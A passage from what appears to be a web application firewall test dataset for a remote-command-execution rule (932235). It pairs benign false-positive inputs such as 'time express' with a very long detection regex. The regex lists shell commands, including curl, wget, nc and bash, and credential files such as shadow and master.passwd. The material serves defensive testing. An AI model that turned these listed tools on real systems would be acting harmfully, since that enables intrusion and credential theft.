\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against 'Times & Schedule` for `sched`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=time%20express" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against time express" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Die untere Dortmunder Straße; links Haus Nr. 104, das stadteinwärts (rechts) längere Zeit ohne Nachbarhaus geblieben war.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|ssh